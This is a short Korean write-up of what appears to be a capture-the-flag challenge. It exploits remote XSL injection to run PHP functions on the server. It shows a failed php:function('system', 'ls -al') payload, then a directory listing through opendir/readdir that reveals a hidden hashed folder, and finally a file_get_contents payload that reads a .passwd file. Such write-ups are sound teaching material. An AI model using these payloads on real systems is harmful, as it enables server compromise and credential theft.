XSL 파일을 select
형식으로 입력받아 해당 XSL stylesheet로 문서를 변환하여 출력해준다.
파일명을 임의로 설정 가능하므로 내 서버의 파일을 업로드 시키는 Remote XSL Injection을 시도해볼 수 있겠다.
.passwd
의 파일을 읽는 것이 목적이므로 php function을 실행시키는 구문을 이용하여 .passwd
파일을 찾아야 한다.
<xsl:value-of select="php:function('system', 'ls -al')"/>
하지만 동작하지 않았다.
그 외에도 scandir
을 시도했으나 마찬가지로 실패하였다.
https://stackoverflow.com/questions/15774669/list-all-files-in-one-directory-php
Check this out : readdir()
This bit of code should list all entries in a certain directory:if ($handle = opendir('.')) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { echo "$entry\n"; } } closedir($handle); }
해당 function을 이용하니 정상적으로 파일 목록이 출력되었다.
출력된 파일 목록 중 해시로 된 디렉토리 명이 보였고,
Resource id #6..##### beers.xml##### ._nginx.http-level.inc##### style1.xsl##### ._nginx.server-level.inc##### style2.xsl##### ._firewall##### .##### style3.xsl##### index.php##### ._php-fpm.pool.inc#####
.6ff3200bee785801f420fba826ffcdee
#####
해당 디렉토리에서 .passwd
를 확인할 수 있었다.
Resource id #7..@@@@@ .passwd@@@@@ .@@@@@ false@@@@@
해당 파일을 확인하자
<xsl:value-of select="php:function('file_get_contents','.6ff3200bee785801f420fba826ffcdee/.passwd')"/>